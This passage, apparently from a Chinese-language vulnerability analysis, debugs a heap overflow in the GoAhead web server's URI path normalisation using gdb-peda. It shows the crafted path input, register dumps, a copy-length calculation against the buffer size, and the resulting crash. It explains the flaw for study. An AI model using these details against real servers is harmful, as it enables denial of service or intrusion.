pathArg=0x805bcc0 "/y\005\b/y\005\b\230\362\377\277?y\005\b", 'A' <repeats 184 times>...) at src/http.c:3232
3232 if (++i < nseg || (nseg == 1 && *segments[0] == '\0' && firstc == '/')) {
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x2c2
Breakpoint 7, 0xb7fb6618 in websNormalizeUriPath (
pathArg=0x805bcc0 "/y\005\b/y\005\b\230\362\377\277?y\005\b", 'A' <repeats 184 times>...) at src/http.c:3238
3238 wfree(dupPath);
3+132+3+2+2c2+2c2 = 6be = 1726
可以看到,一共拷贝了8次,总共拷贝了1726,在整个拷贝过程中,eax监视的是拷贝的长度,算一下总和,已经超过了1034,那么由此就会造成堆溢出。
接下来执行,发生堆溢出,到达漏洞位置。
gdb-peda$ c
Continuing.
Program received signal SIGABRT, Aborted.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xef3
ECX: 0xef3
EDX: 0x6
ESI: 0x45 ('E')
EDI: 0xb7eec000 --> 0x1a5da8
EBP: 0xbffff178 --> 0x805cb30 --> 0x73 ('s')
ESP: 0xbfffeeb4 --> 0xbffff178 --> 0x805cb30 --> 0x73 ('s')
EIP: 0xb7fdebe0 (<__kernel_vsyscall+16>: pop ebp)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb7fdebdc <__kernel_vsyscall+12>: nop
0xb7fdebdd <__kernel_vsyscall+13>: nop
0xb7fdebde <__kernel_vsyscall+14>: int 0x80
=> 0xb7fdebe0 <__kernel_vsyscall+16>: pop ebp
0xb7fdebe1 <__kernel_vsyscall+17>: pop edx
0xb7fdebe2 <__kernel_vsyscall+18>: pop ecx
0xb7fdebe3 <__kernel_vsyscall+19>: ret
0xb7fdebe4: int3
总结一下整个漏洞的形成过程,在goahead中,程序会开启监听socket进程,之后会有一个函数用于处理接收到的数据包。在收到url后,会对url进行进一步处理,在处理的过程中,由于对.的控制逻辑混乱,导致处理结束后的判断长度和之前的长度不等,从而可以导致超长串考入先前申请长度的缓冲区,引发堆溢出漏洞。